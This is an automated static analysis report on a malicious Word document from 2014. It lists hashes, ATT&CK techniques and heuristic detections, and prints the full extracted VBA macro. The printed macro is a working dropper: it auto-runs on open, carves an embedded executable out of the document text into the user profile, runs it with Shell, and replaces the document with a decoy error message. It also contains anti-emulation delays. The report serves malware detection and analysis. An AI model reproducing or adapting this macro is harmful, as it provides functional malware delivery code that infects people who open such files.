Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96c1ddbf29b3027f…

MALICIOUS

Office (OLE)

784.5 KB Created: 2014-07-15 17:33:00 Authoring application: Microsoft Office Word First seen: 2014-07-20
MD5: d55582673d404bba2f789dbecef4aead SHA-1: 6909d757f4ce4da64b44d383fb874f33494d0f0f SHA-256: 96c1ddbf29b3027f626f34dfcb261ef122b6a06c913cfc1a9d57cb60ca5062bb
254 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function, indicating it's designed to execute automatically when the document is opened. The document body explicitly instructs the user to "Enable Content," a common social engineering tactic. The presence of a potential Shell call within the VBA code suggests the macro is intended to download and execute a secondary payload, aligning with the ClamAV detection of a "Doc.Downloader" type.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        LoL7 = Shell(LoL10)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        LoL2 = Environ("USERPROFILE")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://office365.com In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3456 bytes
SHA-256: c3a6650b56b53d6d35d8c05358d4e414d5ed98d84296c1258283a827cb8759a7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"

Attribute VB_Name = "NewMacros"
'start
Sub LoL12()
    Dim LoL7 As Integer
    Dim LoL1 As String
    Dim LoL2 As String
    Dim LoL3 As Integer
    Dim LoL4 As Paragraph
    Dim LoL8 As Long
    Dim LoL9 As Boolean
    Dim LoL5 As Integer
    Dim LoL11 As String
    Dim LoL6 As Byte
    Dim Rlvqahwhzf As String
    Rlvqahwhzf = "Pdpzckqfrq"
    Dim hacku As String
    Dim hackme As String
    hacku = "ZwGuKEMphiZgNT"
    dot = "."
    hackme = "com"
    LoL1 = hacku + dot + hackme
    LoL2 = Environ("USERPROFILE")
    ChDrive (LoL2)
    ChDir (LoL2)
    LoL3 = FreeFile()
    
    bin
    
    Debug.Print "The alarm will go off in 10 seconds!" ' AntiEmul
    Debug.Print ("Before OnTime: " & Now)
    alertTime = Now + TimeValue("00:10:00")
    Application.OnTime alertTime, "EventMacro"
    Debug.Print ("After OnTime: " & Now)
    
    For Each LoL4 In ActiveDocument.Paragraphs
        x (LoL4)
        LoL11 = LoL4.Range.Text
        Debug.Print "The alarm will go off in 10 seconds!" ' AntiEmul
        Debug.Print ("Before OnTime: " & Now)
        alertTime = Now + TimeValue("00:10:00")
        Application.OnTime alertTime, "EventMacro"
        Debug.Print ("After OnTime: " & Now)
        If (LoL9 = True) Then
            LoL8 = 1
            While (LoL8 < Len(LoL11))
                Dim op As Integer
                op = 4
                LoL6 = Mid(LoL11, LoL8, op)
                Application.OnTime alertTime, "EventMacro" ' Mini AntiEmul
                Debug.Print ("After OnTime: " & Now)
                Put #LoL3, , LoL6
                LoL8 = LoL8 + op
            Wend
        ElseIf (InStr(1, LoL11, Rlvqahwhzf) > 0 And Len(LoL11) > 0) Then
            Dim sukalol As Boolean
            sukalol = True
            LoL9 = sukalol
        End If
        Next
    Close #LoL3
    LoL13 (LoL1)
End Sub

Sub x(xxx As String)
DoEvents
End Sub

Sub bin()
    Dim LoL1 As String
    Dim LoL3 As Integer
    Dim hacku As String
    Dim hackme As String
    hacku = "ZwGuKEMphiZgNT"
    dot = "."
    hackme = "com"
    LoL1 = hacku + dot + hackme
    LoL3 = FreeFile()
    Open LoL1 For Binary As LoL3
End Sub

Sub LoL13(LoL10 As String)
    Dim LoL7 As Integer
    Dim LoL2 As String
    LoL2 = Environ("USERPROFILE")
    ChDrive (LoL2)
    ChDir (LoL2)
    Debug.Print "The alarm will go off in 10 seconds!" ' AntiEmul
    Debug.Print ("Before OnTime: " & Now)
    alertTime = Now + TimeValue("00:10:00")
    Application.OnTime alertTime, "EventMacro"
    Debug.Print ("After OnTime: " & Now)

    LoL7 = Shell(LoL10)
    
    'Patcher Document
    Word.ActiveDocument.Range.Select
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    
    Dim doc As Word.Document
    Set doc = ThisDocument
   
    doc.Range.InsertParagraphAfter
    
    doc.Range.InsertAfter "format is not supported......" + vbLf
End Sub

Sub Auto_Open()
    LoL12
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub


Sub AutoOpen()
    Auto_Open
End Sub